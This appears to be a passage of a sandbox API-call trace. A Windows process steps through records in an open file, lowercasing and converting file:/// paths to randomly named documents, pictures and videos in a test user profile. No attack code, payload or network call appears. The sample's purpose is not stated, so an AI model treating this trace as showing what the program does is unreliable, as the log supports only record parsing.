[0079.444] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/wiBLBzDzCgVSAEK0.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif"
[0079.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned 58
[0079.444] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000
[0079.445] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.445] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.445] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000
[0079.445] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.445] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/X%20zf.ots" | out: _Str="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned="file:///c:/users/atveydl98z/documents/x%20zf.ots"
[0079.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned 49
[0079.445] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb100
[0079.445] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.445] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.445] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb100
[0079.445] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.445] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/_sVEMCyoSgi9Z.gif" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif"
[0079.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 62
[0079.445] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200
[0079.445] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.446] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.446] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200
[0079.446] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.446] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/S2oohh8L.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx"
[0079.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned 62
[0079.446] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb300
[0079.446] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.446] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.446] SetFilePointer (in: hFile=0x9c, lDistanceToMove=45824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb300
[0079.446] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.446] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/WHpMOQFwzkB.csv" | out: _Str="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv"
[0079.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned 54
[0079.446] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb400
[0079.446] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.446] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.446] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb400
[0079.447] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.447] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/1H-eMpHI.docx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx"
[0079.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 62
[0079.447] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb500
[0079.447] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.447] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.447] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb500
[0079.447] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.447] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/LPOIy2.odp" | out: _Str="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned="file:///c:/users/atveydl98z/documents/lpoiy2.odp"
[0079.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 49
[0079.447] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb600
[0079.447] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.447] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.447] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb600
[0079.447] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.448] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/N6iL-.docx" | out: _Str="file:///c:/users/atveydl98z/documents/n6il-.docx") returned="file:///c:/users/atveydl98z/documents/n6il-.docx"
[0079.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 49
[0079.448] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb700
[0079.448] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.449] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.449] SetFilePointer (in: hFile=0x9c, lDistanceToMove=46848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb700
[0079.449] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.449] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_Yvkle%2090DKso.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png"
[0079.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 72
[0079.449] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb800
[0079.449] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.449] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.449] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb800
[0079.449] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.450] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/myvTC.swf" | out: _Str="file:///c:/users/atveydl98z/videos/myvtc.swf") returned="file:///c:/users/atveydl98z/videos/myvtc.swf"
[0079.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/myvtc.swf") returned 45
[0079.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb900
[0079.450] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.450] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb900
[0079.450] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.450] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/yjKdM-.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp"
[0079.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned 48
[0079.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba00
[0079.450] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.450] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.450] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba00
[0079.450] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.450] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/jTlNCq7xP14ExqSE.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif"
[0079.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 89
[0079.451] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb00
[0079.451] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.451] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.451] SetFilePointer (in: hFile=0x9c, lDistanceToMove=47872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb00
[0079.451] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.451] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/yaqsgUigi.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp"
[0079.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned 82
[0079.451] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc00
[0079.451] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.451] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.451] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc00
[0079.451] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.451] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/aEprpt-%20Br_YutU-.swf" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf"
[0079.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned 65
[0079.451] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd00
[0079.451] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.452] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.452] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd00
[0079.452] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.452] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/VajLXU.png" | out: _Str="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned="file:///c:/users/atveydl98z/pictures/vajlxu.png"
[0079.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned 48
[0079.452] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbe00
[0079.452] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.452] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.452] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbe00
[0079.452] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.452] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/H2cb7jaJW.flv" | out: _Str="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv"
[0079.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 50
[0079.452] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf00
[0079.452] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.452] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.452] SetFilePointer (in: hFile=0x9c, lDistanceToMove=48896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf00
[0079.453] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.453] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/u%20x2wZ014nnO431W.ods" | out: _Str="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods"
[0079.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 61
[0079.453] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc000
[0079.453] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.453] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.453] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc000
[0079.453] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.453] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/PVi1BVfIlIQmDKwr.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg"
[0079.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 57
[0079.453] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc100
[0079.453] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.453] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.453] SetFilePointer (in: hFile=0x9c, lDistanceToMove=49408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc100
[0079.453] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.454] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/l%20SIGus.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf"
